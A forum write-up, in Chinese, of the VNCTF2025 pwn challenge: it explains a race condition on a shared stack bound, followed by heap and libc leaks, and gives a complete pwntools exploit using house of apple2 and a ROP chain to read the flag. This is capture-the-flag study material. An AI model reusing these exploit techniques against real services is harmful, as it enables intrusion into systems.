吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2461|回复: 3
上一主题 下一主题
收起左侧

[CTF] VNCTF2025 好easy嘅题啦 wp

[复制链接]
跳转到指定楼层
楼主
ajguthahbzzb 发表于 2025-3-18 21:00 回帖奖励
0x0 前言
这道题是一道多线程题,其实漏洞很容易发现而且很容易利用,但是调试比较麻烦,需要通过调试定位stack和heap的相对位置,然后让stack一直pop到heap指针的位置。调试只能在ubuntu22.04上调,在其他版本会报错,这里我使用pwndocker环境。

0x1 程序逻辑分析
第一次连接时会询问“How many threads do you want to create?”,其实查看源码或者经过调试可以发现其并不是允许多少个线程同时创建,而是只是创建多少个thread arena而已,所以这里输入1确保所有连接的操作都在main arena上进行以便泄漏堆地址和libc地址。
以后的每次连接可以接收指定语法的code。在指令里面除了stack和heap以外,其他都是针对0-3寄存器没有什么bug的操作。stack漏洞在于判断条件stack->top != stack->size && stack->top没有加锁,使得可以让两个线程同时进入临界区从而产生索引溢出;heap使用了c++里的vector,官方wp说也有漏洞,不过没看出来。

0x2 思路
  • 让stack溢出。操作很简单,只需要两个socket连接同时发送stack指令和EOF即可同时进入判断后的代码里,然后分别发送pop指令即可溢出。注意,为了让heap离stack的距离近点,我的代码里在stack创建完后即填充heap数组,这样heap的vector结构体就会在stack后面的固定位置分配。(经过我对heap位置的调整,只需pop 0xd6次即可,比官方wp的快了不少)
  • 泄漏heap和libc地址。这通过将chunk放入large bin和tcache再取出可以得到。
  • 依次通过pop、push修改vector里的heap指针来完成任意地址读写,最终使用house of apple2完成攻击。注意,这里最好不要getshell,因为io不是通过标准输入输出流连接,或者在getshell前将输入输出流重定向。

0x3 完整exp
[Python] 纯文本查看 复制代码
from pwncli import *

# VNCTF{an0N_t0kyo-1S-Th3_6EST-BAnD!ll7567ab}

elf = ELF("./pwn")
# io = gift.io = elf.process()

libc = ELF("./lib/libc.so.6")
context(log_level="debug", arch="amd64", terminal=["tmux", "sp", "-h"])

get_remote = lambda: remote("127.0.0.1", 9999)
# get_remote = lambda: remote("node.vnteam.cn", 48169)
nop = lambda: None

code_arr = []
oper_arr = []
ios: list[remote] = [None] * 10
addrs = []
sleep_time = 0.05

def run_code(close=True):
    gift.io = get_remote()
    code_arr.append("EOF")
    ru(b"Input your Code (end with EOF): ")
    for c in code_arr:
        sleep(sleep_time)
        sl(c.encode())
    for oper in oper_arr:
        sleep(sleep_time)
        oper()
    code_arr.clear()
    oper_arr.clear()
    if close:
        ic()

def heap_op(reg, operation):
    code_arr.append(f"heap {reg} {reg}")
    oper_arr.append(lambda: sla("Heap operate: ", operation))

def heap_alloc(size):
    heap_op(0, "alloc")
    oper_arr.append(lambda: sla("Size: ", str(size)))

def heap_free(reg):
    heap_op(reg, "free")

def heap_print(reg, callback=nop):
    heap_op(reg, "print")
    oper_arr.append(callback)

def heap_input(reg, val):
    heap_op(reg, "input")
    oper_arr.append(lambda: sla(b"Input: ", val))

def stack_pop(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "pop"))

def stack_push(reg):
    code_arr.append(f"stack {reg} {reg}")
    oper_arr.append(lambda: sla("Stack operate: ", "push"))

def print_reg(reg, callback=lambda: print(rl().decode())):
    code_arr.append(f"print {reg} {reg}")
    oper_arr.append(callback)

def input_reg(reg, val):
    code_arr.append(f"input {reg} {reg}")
    oper_arr.append(lambda: sla(f"Input reg{reg}: ", str(val).encode()))

def quit():
    code_arr.append("AveMujica 0 0")
    oper_arr.append(lambda: ru("ようこそAveMujicaの世界へ".encode()))

def leak():
    ru(b"Content: ")
    addr = u64(r(8))
    success(f"{addr = :x}")
    addrs.append(addr)


# 只有一个arena
io = get_remote()
io.sendlineafter(b"How many threads do you want to create? ", b"1") 
io.close()

# 让stack指针越界
ios[0] = get_remote()
ios[1] = get_remote()
ios[0].recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios[1].recvuntil(b"Input your Code (end with EOF): ")
sleep(sleep_time)
ios[0].sendline(b"stack 0 0")
sleep(sleep_time)
ios[1].sendline(b"stack 0 0")
for i in range(5): # 改良堆结构,让stack和heap相对位置更近
    sleep(sleep_time)
    ios[0].sendline(b"heap 0 0")
sleep(sleep_time)
ios[0].sendline(b"EOF")
sleep(sleep_time)
ios[1].sendline(b"EOF")
sleep(sleep_time)
ios[0].sendlineafter(b"Stack operate: ", b"pop")
for i in range(2):
    sleep(sleep_time)
    ios[0].sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios[0].sendlineafter(b"Size: ", str(0x80).encode())
for i in range(3):
    sleep(sleep_time)
    ios[0].sendlineafter(b"Heap operate: ", b"alloc")
    sleep(sleep_time)
    ios[0].sendlineafter(b"Size: ", str(0x10).encode())
sleep(sleep_time)
ios[1].sendlineafter(b"Stack operate: ", b"pop")

ios[0].close()
ios[1].close()


# 泄漏heap和libc地址
for i in range(5):
    heap_free(0)
for i in range(1, 4):
    input_reg(i, i)
heap_alloc(0x500)
heap_alloc(0x400)
heap_free(0)
heap_alloc(0x510) # 0
heap_alloc(0x500) # 1
heap_free(0)
heap_alloc(0x400) # 2

for i in range(3):
    heap_print(i, leak)
    # heap_free(0)

run_code()

libc.address = addrs[1] - 0x21b110
heap_base = (addrs[2] - 0x14) << 12

success(f"{libc.address = :x}")
success(f"{heap_base = :x}")


# 打_IO_list_all
for i in range(0xd6):
    stack_pop(0)
    print_reg(0)

stack_pop(0)
def leak_chunk():
    addr = int(rl().decode()[7:-1], 16)
    print(hex(addr))
    addrs.append(addr)
print_reg(0, leak_chunk)
input_reg(0, libc.sym._IO_list_all)
stack_push(0)
input_reg(0, 0)
run_code()

# 改回堆地址
heap_addr = addrs[-1]
heap_input(0, p64(heap_addr))
run_code()


stack_pop(0)
input_reg(0, heap_addr)
stack_push(0)

# house of apple2
leave_ret = libc.address + 0x000000000004da83
pop_rbp = libc.address + 0x000000000002a2e0

io_file = IO_FILE_plus_struct()
payload = io_file.house_of_apple2_stack_pivoting_when_exit(heap_addr, 
    libc.sym._IO_wfile_jumps, leave_ret, pop_rbp, 
    heap_addr + 0xE0 - 0x8
)
rop = ROP(libc)
rop.base = heap_addr + 0xE0
rop.open(b"./flag\0", 0)
rop.read(9, heap_base + 0x300, 0x100)
rop.write(7, heap_base + 0x300, 0x100)
print(rop.dump())
payload += rop.chain()

input_reg(0, 0)
heap_input(0, payload)
quit()

run_code(close=False)

ia()

免费评分

参与人数 1吾爱币 +7 热心值 +1 收起 理由
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
vstral 发表于 2025-3-19 17:08
666太强了师傅
3#
44003112 发表于 2026-4-3 17:22
4#
inkey 发表于 2026-7-16 01:48
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-8-29 21:17

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表